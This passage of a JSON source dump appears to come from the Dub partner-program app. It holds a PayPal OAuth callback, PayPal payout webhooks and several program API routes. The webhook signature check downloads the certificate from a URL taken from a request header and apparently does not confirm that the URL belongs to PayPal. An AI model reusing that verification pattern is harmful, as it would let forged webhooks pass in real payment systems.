    "content": "import { getSession } from \"@/lib/auth\";\nimport { recomputePartnerPayoutState } from \"@/lib/payouts/recompute-partner-payout-state\";\nimport { paypalOAuthProvider } from \"@/lib/paypal/oauth\";\nimport { sendEmail } from \"@dub/email\";\nimport ConnectedPaypalAccount from \"@dub/email/templates/connected-paypal-account\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { PARTNERS_DOMAIN } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { redirect } from \"next/navigation\";\n\n// GET /api/paypal/callback - callback from PayPal\nexport const GET = async (req: Request) => {\n  const session = await getSession();\n  const { searchParams } = new URL(req.url);\n\n  // Local development redirect since the callback might be coming through ngrok\n  if (\n    process.env.NODE_ENV === \"development\" &&\n    !req.headers.get(\"host\")?.includes(\"localhost\")\n  ) {\n    return redirect(\n      `${PARTNERS_DOMAIN}/api/paypal/callback?${searchParams.toString()}`,\n    );\n  }\n\n  if (!session?.user.id) {\n    redirect(`${PARTNERS_DOMAIN}/login`);\n  }\n\n  let error: string | null = null;\n\n  try {\n    const { defaultPartnerId } = session.user;\n\n    if (!defaultPartnerId) {\n      throw new Error(\"partner_not_found\");\n    }\n\n    const { token, contextId } =\n      await paypalOAuthProvider.exchangeCodeForToken<string>(req);\n\n    await prisma.user.findUniqueOrThrow({\n      where: {\n        id: contextId,\n      },\n    });\n\n    const paypalUser = await paypalOAuthProvider.getUserInfo(\n      token.access_token,\n    );\n\n    if (!paypalUser.email_verified) {\n      throw new Error(\"paypal_email_not_verified\");\n    }\n\n    const { partner } = await prisma.partnerUser.findUniqueOrThrow({\n      where: {\n        userId_partnerId: {\n          userId: session.user.id,\n          partnerId: defaultPartnerId,\n        },\n      },\n      include: {\n        partner: true,\n      },\n    });\n\n    const { payoutsEnabledAt, defaultPayoutMethod } =\n      await recomputePartnerPayoutState({\n        ...partner,\n        paypalEmail: paypalUser.email,\n      });\n\n    const updatedPartner = await prisma.partner.update({\n      where: {\n        id: defaultPartnerId,\n      },\n      data: {\n        paypalEmail: paypalUser.email,\n        payoutsEnabledAt,\n        defaultPayoutMethod,\n      },\n    });\n\n    // Send an email to the partner to inform them that their PayPal account has been connected\n    if (updatedPartner.email && updatedPartner.paypalEmail) {\n      waitUntil(\n        sendEmail({\n          variant: \"notifications\",\n          subject: \"Successfully connected PayPal account\",\n          to: updatedPartner.email,\n          react: ConnectedPaypalAccount({\n            email: updatedPartner.email,\n            paypalEmail: updatedPartner.paypalEmail,\n          }),\n        }),\n      );\n    }\n  } catch (e) {\n    console.error(e);\n\n    if (\n      e instanceof Prisma.PrismaClientKnownRequestError &&\n      e.code === \"P2002\"\n    ) {\n      error = \"paypal_account_already_in_use\";\n    } else {\n      error = e.message;\n    }\n  }\n\n  redirect(\n    `/payouts?settings=true${error ? `&error=${encodeURIComponent(error)}` : \"\"}`,\n  );\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/paypal/webhook/payouts-item-failed.ts",
    "content": "import { sendEmail } from \"@dub/email\";\nimport PartnerPaypalPayoutFailed from \"@dub/email/templates/partner-paypal-payout-failed\";\nimport { prisma } from \"@dub/prisma\";\nimport { payoutsItemSchema } from \"./utils\";\n\nconst PAYPAL_TO_DUB_STATUS = {\n  \"PAYMENT.PAYOUTS-ITEM.BLOCKED\": \"failed\",\n  \"PAYMENT.PAYOUTS-ITEM.DENIED\": \"failed\",\n  \"PAYMENT.PAYOUTS-ITEM.FAILED\": \"failed\",\n  \"PAYMENT.PAYOUTS-ITEM.REFUNDED\": \"failed\",\n  \"PAYMENT.PAYOUTS-ITEM.RETURNED\": \"failed\",\n};\n\nexport async function payoutsItemFailed(event: any) {\n  const body = payoutsItemSchema.parse(event);\n\n  let invoiceId = body.resource.sender_batch_id;\n  const paypalEmail = body.resource.payout_item.receiver;\n  const payoutItemId = body.resource.payout_item_id;\n  const payoutId = body.resource.payout_item.sender_item_id;\n\n  if (invoiceId.includes(\"-\")) {\n    invoiceId = invoiceId.split(\"-\")[0];\n  }\n\n  const payout = await prisma.payout.findUnique({\n    where: {\n      id: payoutId,\n    },\n    include: {\n      partner: true,\n      program: true,\n    },\n  });\n\n  if (!payout) {\n    console.log(\n      `[PayPal] Payout not found for invoice ${invoiceId} and partner ${paypalEmail}`,\n    );\n    return;\n  }\n\n  const payoutStatus: \"failed\" | undefined =\n    PAYPAL_TO_DUB_STATUS[body.event_type];\n  const failureReason = body.resource.errors?.message;\n\n  await prisma.payout.update({\n    where: {\n      id: payout.id,\n    },\n    data: {\n      paypalTransferId: payoutItemId,\n      status: payoutStatus,\n      failureReason,\n    },\n  });\n\n  if (payoutStatus !== \"failed\") {\n    // we only send emails for failed payouts\n    console.log(\n      `Paypal payout status changed to ${body.event_type} for invoice ${invoiceId} and partner ${paypalEmail}. This is not a failure event, skipping email send...`,\n    );\n    return;\n  }\n\n  if (!payout.partner.email) {\n    console.log(\n      `Paypal payout partner email not found for invoice ${invoiceId} and partner ${paypalEmail}. Skipping email send...`,\n    );\n    return;\n  }\n\n  await sendEmail({\n    subject: `Your recent partner payout from ${payout.program.name} failed`,\n    to: payout.partner.email,\n    react: PartnerPaypalPayoutFailed({\n      email: payout.partner.email,\n      program: {\n        name: payout.program.name,\n      },\n      payout: {\n        amount: payout.amount,\n        failureReason,\n      },\n      partner: {\n        paypalEmail: payout.partner.paypalEmail!,\n      },\n    }),\n    variant: \"notifications\",\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/paypal/webhook/payouts-item-succeeded.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { payoutsItemSchema } from \"./utils\";\n\nexport async function payoutsItemSucceeded(event: any) {\n  const body = payoutsItemSchema.parse(event);\n\n  let invoiceId = body.resource.sender_batch_id;\n  const paypalEmail = body.resource.payout_item.receiver;\n  const payoutItemId = body.resource.payout_item_id;\n  const payoutId = body.resource.payout_item.sender_item_id;\n\n  if (invoiceId.includes(\"-\")) {\n    invoiceId = invoiceId.split(\"-\")[0];\n  }\n\n  const payout = await prisma.payout.findUnique({\n    where: {\n      id: payoutId,\n    },\n    include: {\n      partner: true,\n      program: true,\n    },\n  });\n\n  if (!payout) {\n    console.log(\n      `[PayPal] Payout not found for invoice ${invoiceId} and partner ${paypalEmail}`,\n    );\n    return;\n  }\n\n  if (payout.status === \"completed\") {\n    console.log(\n      `[PayPal] Payout already completed for invoice ${invoiceId} and partner ${paypalEmail}`,\n    );\n    return;\n  }\n\n  await Promise.all([\n    prisma.payout.update({\n      where: {\n        id: payout.id,\n      },\n      data: {\n        paypalTransferId: payoutItemId,\n        status: \"completed\",\n        paidAt: payout.paidAt ?? new Date(), // preserve the paidAt if it already exists\n      },\n    }),\n\n    prisma.commission.updateMany({\n      where: {\n        payoutId: payout.id,\n      },\n      data: {\n        status: \"paid\",\n      },\n    }),\n  ]);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/paypal/webhook/route.ts",
    "content": "import { log } from \"@dub/utils\";\nimport { payoutsItemFailed } from \"./payouts-item-failed\";\nimport { payoutsItemSucceeded } from \"./payouts-item-succeeded\";\nimport { verifySignature } from \"./verify-signature\";\n\nconst relevantEvents = new Set([\n  // Individual payout item events\n  \"PAYMENT.PAYOUTS-ITEM.SUCCEEDED\",\n  \"PAYMENT.PAYOUTS-ITEM.BLOCKED\",\n  \"PAYMENT.PAYOUTS-ITEM.CANCELED\",\n  \"PAYMENT.PAYOUTS-ITEM.DENIED\",\n  \"PAYMENT.PAYOUTS-ITEM.FAILED\",\n  \"PAYMENT.PAYOUTS-ITEM.HELD\",\n  \"PAYMENT.PAYOUTS-ITEM.REFUNDED\",\n  \"PAYMENT.PAYOUTS-ITEM.RETURNED\",\n  \"PAYMENT.PAYOUTS-ITEM.UNCLAIMED\",\n]);\n\n// POST /api/paypal/webhook – Listen to Paypal webhook events\nexport const POST = async (req: Request) => {\n  const rawBody = await req.text();\n  const headers = req.headers;\n\n  try {\n    const isSignatureValid = await verifySignature({\n      event: rawBody,\n      headers,\n    });\n\n    if (!isSignatureValid) {\n      throw new Error(\"Invalid signature\");\n    }\n\n    const body = JSON.parse(rawBody);\n\n    if (!relevantEvents.has(body.event_type)) {\n      console.info(`[Paypal] Unsupported event: ${body.event_type}`);\n      return new Response(\"Unsupported event, skipping...\");\n    }\n\n    console.info(`[Paypal] Webhook received: ${body.event_type}`, body);\n\n    switch (body.event_type) {\n      case \"PAYMENT.PAYOUTS-ITEM.SUCCEEDED\":\n        await payoutsItemSucceeded(body);\n        break;\n      case \"PAYMENT.PAYOUTS-ITEM.BLOCKED\":\n      case \"PAYMENT.PAYOUTS-ITEM.CANCELED\":\n      case \"PAYMENT.PAYOUTS-ITEM.DENIED\":\n      case \"PAYMENT.PAYOUTS-ITEM.FAILED\":\n      case \"PAYMENT.PAYOUTS-ITEM.HELD\":\n      case \"PAYMENT.PAYOUTS-ITEM.REFUNDED\":\n      case \"PAYMENT.PAYOUTS-ITEM.RETURNED\":\n      case \"PAYMENT.PAYOUTS-ITEM.UNCLAIMED\":\n        await payoutsItemFailed(body);\n        break;\n    }\n  } catch (error) {\n    console.error(`[Paypal] ${error.message}`);\n\n    await log({\n      message: `Paypal webhook failed. Error: ${error.message}`,\n      type: \"errors\",\n    });\n\n    return new Response('Webhook error: \"Webhook handler failed. View logs.\"', {\n      status: 400,\n    });\n  }\n\n  return new Response(\"OK\");\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/paypal/webhook/utils.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const payoutsItemSchema = z.object({\n  event_type: z.string(),\n  resource: z.object({\n    sender_batch_id: z.string(), // Dub invoice id\n    payout_item_id: z.string(),\n    payout_item_fee: z.object({\n      currency: z.string(),\n      value: z.string(),\n    }),\n    payout_item: z.object({\n      receiver: z.string(),\n      sender_item_id: z.string(), // Dub payout id\n    }),\n    errors: z\n      .object({\n        name: z.string(),\n        message: z.string(),\n      })\n      .nullish(),\n  }),\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/paypal/webhook/verify-signature.ts",
    "content": "import { paypalEnv } from \"@/lib/paypal/env\";\nimport { redis } from \"@/lib/upstash/redis\";\nimport { waitUntil } from \"@vercel/functions\";\nimport crc32 from \"buffer-crc32\";\nimport crypto from \"crypto\";\n\nconst CERT_CACHE_KEY_PREFIX = \"paypal:cert:\";\nconst CERT_CACHE_TTL_SECONDS = 60 * 60 * 24 * 7; // 7 days\n\nasync function downloadAndCache(url: string) {\n  const urlHash = crypto.createHash(\"sha256\").update(url).digest(\"hex\");\n  const cacheKey = `${CERT_CACHE_KEY_PREFIX}${urlHash}`;\n\n  const cachedCertPem = await redis.get<string>(cacheKey);\n\n  if (cachedCertPem) {\n    console.info(`[PayPal] Using cached certificate.`);\n    return cachedCertPem;\n  }\n\n  const response = await fetch(url);\n\n  if (!response.ok) {\n    throw new Error(\n      `[PayPal] Failed to download certificate ${response.status}`,\n    );\n  }\n\n  const certPem = await response.text();\n\n  waitUntil(\n    redis.set(cacheKey, certPem, {\n      ex: CERT_CACHE_TTL_SECONDS,\n    }),\n  );\n\n  console.info(`[PayPal] Downloaded and cached certificate.`);\n\n  return certPem;\n}\n\nexport async function verifySignature({\n  event,\n  headers,\n}: {\n  event: string; // raw event data as string\n  headers: Headers;\n}) {\n  const transmissionId = headers.get(\"paypal-transmission-id\");\n  const transmissionSig = headers.get(\"paypal-transmission-sig\");\n  const timeStamp = headers.get(\"paypal-transmission-time\");\n  const certUrl = headers.get(\"paypal-cert-url\");\n\n  if (!transmissionId || !transmissionSig || !timeStamp || !certUrl) {\n    console.error(\n      \"[PayPal] Missing required headers for signature verification\",\n    );\n    return false;\n  }\n\n  const certPem = await downloadAndCache(certUrl);\n\n  if (!certPem) {\n    console.error(\"[PayPal] Failed to download or cache PayPal certificate\");\n    return false;\n  }\n\n  const crc = parseInt(\"0x\" + crc32(event).toString(\"hex\"));\n  const message = `${transmissionId}|${timeStamp}|${paypalEnv.PAYPAL_WEBHOOK_ID}|${crc}`;\n  const signatureBuffer = Buffer.from(transmissionSig, \"base64\");\n\n  const verifier = crypto.createVerify(\"SHA256\");\n  verifier.update(message);\n\n  return verifier.verify(certPem, new Uint8Array(signatureBuffer));\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/programs/[programId]/applications/[applicationId]/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\nexport const GET = withWorkspace(async ({ workspace, params }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const application = await prisma.programApplication.findUnique({\n    where: {\n      id: params.applicationId,\n    },\n    include: {\n      partnerGroup: true,\n    },\n  });\n\n  if (!application || application.programId !== programId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Application ${params.applicationId} not found.`,\n    });\n  }\n\n  return NextResponse.json(application);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/programs/[programId]/applications/export/route.ts",
    "content": "import { convertToCSV } from \"@/lib/analytics/utils/convert-to-csv\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  exportApplicationColumns,\n  exportApplicationsColumnsDefault,\n} from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\n\nconst columnIdToLabel = exportApplicationColumns.reduce((acc, column) => {\n  acc[column.id] = column.label;\n  return acc;\n}, {});\n\nconst applicationsExportQuerySchema = z.object({\n  columns: z\n    .string()\n    .default(exportApplicationsColumnsDefault.join(\",\"))\n    .transform((v) => v?.split(\",\")),\n});\n\n// GET /api/programs/[programId]/applications/export – export applications to CSV\nexport const GET = withWorkspace(\n  async ({ searchParams, workspace }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    let { columns } = applicationsExportQuerySchema.parse(searchParams);\n\n    const programEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        programId,\n        status: \"pending\",\n      },\n      include: {\n        partner: true,\n        application: true,\n      },\n    });\n\n    const applications = programEnrollments.map(\n      ({ partner, application, ...programEnrollment }) => {\n        return {\n          ...partner,\n          createdAt: application?.createdAt || programEnrollment.createdAt,\n        };\n      },\n    );\n\n    const columnOrderMap = exportApplicationColumns.reduce(\n      (acc, column, index) => {\n        acc[column.id] = index + 1;\n        return acc;\n      },\n      {},\n    );\n\n    columns = columns.sort(\n      (a, b) => (columnOrderMap[a] || 999) - (columnOrderMap[b] || 999),\n    );\n\n    const schemaFields = {};\n    columns.forEach((column) => {\n      schemaFields[columnIdToLabel[column]] = z.string().optional().default(\"\");\n    });\n\n    const formattedApplications = applications.map((application) => {\n      const result = {};\n\n      columns.forEach((column) => {\n        if (column === \"createdAt\") {\n          result[columnIdToLabel[column]] = application[column]\n            ? new Date(application[column]).toISOString()\n            : \"\";\n        } else {\n          result[columnIdToLabel[column]] = application[column] || \"\";\n        }\n      });\n\n      return z.object(schemaFields).parse(result);\n    });\n\n    return new Response(convertToCSV(formattedApplications), {\n      headers: {\n        \"Content-Type\": \"text/csv\",\n        \"Content-Disposition\": \"attachment\",\n      },\n    });\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/programs/[programId]/discounts/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { DiscountSchema } from \"@/lib/zod/schemas/discount\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// TODO: Remove once we migrate fully to partner groups\n// GET /api/programs/[programId]/discounts - get all discounts for a program\nexport const GET = withWorkspace(async ({ workspace }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const discounts = await prisma.discount.findMany({\n    where: {\n      programId,\n    },\n    include: {\n      _count: {\n        select: {\n          programEnrollments: true,\n        },\n      },\n    },\n    orderBy: {\n      createdAt: \"desc\",\n    },\n  });\n\n  const discountsWithPartnersCount = discounts.map((discount) => ({\n    ...discount,\n    partnersCount: discount._count.programEnrollments,\n  }));\n\n  return NextResponse.json(\n    z.array(DiscountSchema).parse(discountsWithPartnersCount),\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/programs/[programId]/payouts/eligible/count/route.ts",
    "content": "import { getEligiblePayouts } from \"@/lib/api/payouts/get-eligible-payouts\";\nimport { getPayoutEligibilityFilter } from \"@/lib/api/payouts/payout-eligibility-filter\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { CUTOFF_PERIOD } from \"@/lib/partners/cutoff-period\";\nimport { eligiblePayoutsCountQuerySchema } from \"@/lib/zod/schemas/payouts\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n/*\n * GET /api/programs/[programId]/payouts/eligible/count - get count of eligible payouts\n */\nexport const GET = withWorkspace(async ({ workspace, searchParams }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const { cutoffPeriod, selectedPayoutId, excludedPayoutIds } =\n    eligiblePayoutsCountQuerySchema.parse(searchParams);\n\n  const program = await getProgramOrThrow({\n    workspaceId: workspace.id,\n    programId,\n  });\n\n  const cutoffPeriodValue = CUTOFF_PERIOD.find(\n    (c) => c.id === cutoffPeriod,\n  )?.value;\n\n  // Requires special re-computing and filtering of payouts, so we just have to fetch all of them\n  if (cutoffPeriodValue) {\n    const eligiblePayouts = await getEligiblePayouts({\n      program,\n      workspace,\n      cutoffPeriod,\n      selectedPayoutId,\n      excludedPayoutIds,\n      pageSize: Infinity,\n      page: 1,\n    });\n\n    return NextResponse.json({\n      count: eligiblePayouts.length ?? 0,\n      amount: eligiblePayouts.reduce((acc, payout) => acc + payout.amount, 0),\n    });\n  }\n\n  const data = await prisma.payout.aggregate({\n    where: {\n      ...(selectedPayoutId\n        ? { id: selectedPayoutId }\n        : excludedPayoutIds && excludedPayoutIds.length > 0\n          ? { id: { notIn: excludedPayoutIds } }\n          : {}),\n      ...getPayoutEligibilityFilter({ program, workspace }),\n    },\n    _count: true,\n    _sum: {\n      amount: true,\n    },\n  });\n\n  return NextResponse.json({\n    count: data._count ?? 0,\n    amount: data._sum?.amount ?? 0,\n  });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/programs/[programId]/payouts/eligible/route.ts",
    "content": "import { getEligiblePayouts } from \"@/lib/api/payouts/get-eligible-payouts\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { eligiblePayoutsQuerySchema } from \"@/lib/zod/schemas/payouts\";\nimport { NextResponse } from \"next/server\";\n\n/*\n * GET /api/programs/[programId]/payouts/eligible - get list of eligible payouts\n *\n * We're splitting this from /payouts because it's a special case that needs\n * to be handled differently:\n * - only include eligible payouts\n * - no pagination or filtering (we retrieve all pending payouts by default)\n * - sort by amount in descending order\n * - option to set a cutoff period to include commissions up to that date\n */\n\nexport const GET = withWorkspace(async ({ workspace, searchParams }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const query = eligiblePayoutsQuerySchema.parse(searchParams);\n\n  const program = await getProgramOrThrow({\n    workspaceId: workspace.id,\n    programId,\n  });\n\n  const eligiblePayouts = await getEligiblePayouts({\n    program,\n    workspace,\n    ...query,\n  });\n\n  return NextResponse.json(eligiblePayouts);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/programs/[programId]/referrals/count/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  getPartnerReferralsCountQuerySchema,\n  partnerReferralsCountResponseSchema,\n} from \"@/lib/zod/schemas/referrals\";\nimport { prisma, sanitizeFullTextSearch } from \"@dub/prisma\";\nimport { Prisma, ReferralStatus } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/programs/[programId]/referrals/count - get the count of partner referrals for a program\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { partnerId, status, search, groupBy } =\n      getPartnerReferralsCountQuerySchema.parse(searchParams);\n\n    const commonWhere: Prisma.PartnerReferralWhereInput = {\n      programId,\n      ...(partnerId && groupBy !== \"partnerId\" && { partnerId }),\n      ...(groupBy === \"status\"\n        ? {}\n        : status\n          ? { status }\n          : {\n              status: {\n                notIn: [ReferralStatus.unqualified, ReferralStatus.closedLost],\n              },\n            }),\n      ...(search\n        ? search.includes(\"@\")\n          ? { email: search }\n          : {\n              email: { search: sanitizeFullTextSearch(search) },\n              name: { search: sanitizeFullTextSearch(search) },\n            }\n        : {}),\n    };\n\n    // Get referral count by status\n    if (groupBy === \"status\") {\n      const data = await prisma.partnerReferral.groupBy({\n        by: [\"status\"],\n        where: commonWhere,\n        _count: true,\n        orderBy: {\n          _count: {\n            status: \"desc\",\n          },\n        },\n      });\n\n      // Fill in missing statuses with zero counts\n      Object.values(ReferralStatus).forEach((status) => {\n        if (!data.some((d) => d.status === status)) {\n          data.push({ _count: 0, status });\n        }\n      });\n\n      return NextResponse.json(partnerReferralsCountResponseSchema.parse(data));\n    }\n\n    // Get referral count by partnerId\n    if (groupBy === \"partnerId\") {\n      const data = await prisma.partnerReferral.groupBy({\n        by: [\"partnerId\"],\n        where: commonWhere,\n        _count: true,\n        orderBy: {\n          _count: {\n            partnerId: \"desc\",\n          },\n        },\n        take: 10000,\n      });\n\n      return NextResponse.json(partnerReferralsCountResponseSchema.parse(data));\n    }\n\n    // Get referral count\n    const count = await prisma.partnerReferral.count({\n      where: commonWhere,\n    });\n\n    return NextResponse.json(partnerReferralsCountResponseSchema.parse(count));\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/programs/[programId]/referrals/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  getPartnerReferralsQuerySchema,\n  referralSchema,\n} from \"@/lib/zod/schemas/referrals\";\nimport { prisma, sanitizeFullTextSearch } from \"@dub/prisma\";\nimport { ReferralStatus } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/programs/[programId]/referrals - get all partner referrals for a program\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const {\n      partnerId,\n      status,\n      search,\n      page = 1,\n      pageSize,\n    } = getPartnerReferralsQuerySchema.parse(searchParams);\n\n    const partnerReferrals = await prisma.partnerReferral.findMany({\n      where: {\n        programId,\n        ...(partnerId && { partnerId }),\n        ...(status\n          ? { status }\n          : {\n              status: {\n                notIn: [ReferralStatus.unqualified, ReferralStatus.closedLost],\n              },\n            }),\n        ...(search\n          ? search.includes(\"@\")\n            ? { email: search }\n            : {\n                email: { search: sanitizeFullTextSearch(search) },\n                name: { search: sanitizeFullTextSearch(search) },\n              }\n          : {}),\n      },\n      include: {\n        partner: {\n          select: {\n            id: true,\n            name: true,\n            email: true,\n            image: true,\n          },\n        },\n      },\n      skip: (page - 1) * pageSize,\n      take: pageSize,\n      orderBy: {\n        createdAt: \"desc\",\n      },\n    });\n\n    return NextResponse.json(z.array(referralSchema).parse(partnerReferrals));\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/programs/[programId]/resources/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { programResourcesSchema } from \"@/lib/zod/schemas/program-resources\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/programs/[programId]/resources - get resources for a program\nexport const GET = withWorkspace(async ({ workspace }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const program = await prisma.program.findUnique({\n    where: {\n      id: programId,\n      workspaceId: workspace.id,\n    },\n    select: {\n      resources: true,\n    },\n  });\n\n  const resources = programResourcesSchema.parse(\n    program?.resources ?? {\n      logos: [],\n      colors: [],\n      files: [],\n    },\n  );\n\n  return NextResponse.json(resources);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/programs/[programId]/route.ts",
    "content": "import { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { ProgramSchemaWithInviteEmailData } from \"@/lib/zod/schemas/programs\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/programs/[programId] - get a program by id\nexport const GET = withWorkspace(async ({ workspace, params }) => {\n  const program = await getProgramOrThrow({\n    workspaceId: workspace.id,\n    programId: params.programId,\n    include: {\n      categories: true,\n    },\n  });\n\n  return NextResponse.json(ProgramSchemaWithInviteEmailData.parse(program));\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/programs/rewardful/campaigns/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { RewardfulApi } from \"@/lib/rewardful/api\";\nimport { rewardfulImporter } from \"@/lib/rewardful/importer\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/programs/rewardful/campaigns - list rewardful campaigns\nexport const GET = withWorkspace(async ({ workspace }) => {\n  const { token } = await rewardfulImporter.getCredentials(workspace.id);\n  const rewardfulApi = new RewardfulApi({ token });\n\n  return NextResponse.json(await rewardfulApi.listCampaigns());\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/rewards/[rewardId]/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { RewardSchema } from \"@/lib/zod/schemas/rewards\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\nexport const GET = withWorkspace(async ({ workspace, params }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const reward = await prisma.reward.findUnique({\n    where: {\n      id: params.rewardId,\n      programId,\n    },\n  });\n\n  if (!reward) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Reward not found.\",\n    });\n  }\n\n  return NextResponse.json(RewardSchema.parse(reward));\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/rewards/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { RewardSchema } from \"@/lib/zod/schemas/rewards\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/rewards - get all rewards for a program\nexport const GET = withWorkspace(async ({ workspace }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const rewards = await prisma.reward.findMany({\n    where: {\n      programId,\n    },\n    orderBy: [\n      {\n        event: \"desc\",\n      },\n      {\n        createdAt: \"desc\",\n      },\n    ],\n  });\n\n  return NextResponse.json(z.array(RewardSchema).parse(rewards));\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/scim/v2.0/[...directory]/route.ts",
    "content": "import { inviteUser } from \"@/lib/api/users\";\nimport { jackson } from \"@/lib/jackson\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport type {\n  DirectorySyncEvent,\n  DirectorySyncRequest,\n} from \"@boxyhq/saml-jackson\";\nimport { prisma } from \"@dub/prisma\";\nimport { getSearchParams } from \"@dub/utils\";\nimport { headers } from \"next/headers\";\nimport { NextResponse } from \"next/server\";\n\nconst handler = async (\n  req: Request,\n  { params: initialParams }: { params: Promise<Record<string, string[]>> },\n) => {\n  const params = (await initialParams) || {};\n  const headersList = await headers();\n  const authHeader = headersList.get(\"Authorization\");\n  const apiSecret = authHeader ? authHeader.split(\" \")[1] : null;\n\n  const query = getSearchParams(req.url);\n  const [directoryId, path, resourceId] = params.directory;\n  let body;\n  try {\n    body = await req.json();\n  } catch (error) {\n    body = {};\n  }\n\n  const { directorySyncController } = await jackson();\n\n  // Handle the SCIM API requests\n  const request: DirectorySyncRequest = {\n    method: req.method,\n    body,\n    directoryId,\n    resourceId,\n    resourceType: path === \"Users\" ? \"users\" : \"groups\",\n    apiSecret,\n    query: {\n      count: query.count ? parseInt(query.count as string) : undefined,\n      startIndex: query.startIndex\n        ? parseInt(query.startIndex as string)\n        : undefined,\n      filter: query.filter as string,\n    },\n  };\n\n  const { status, data } = await directorySyncController.requests.handle(\n    request,\n    handleEvents,\n  );\n\n  return NextResponse.json(data, { status });\n};\n\nexport { handler as DELETE, handler as GET, handler as POST, 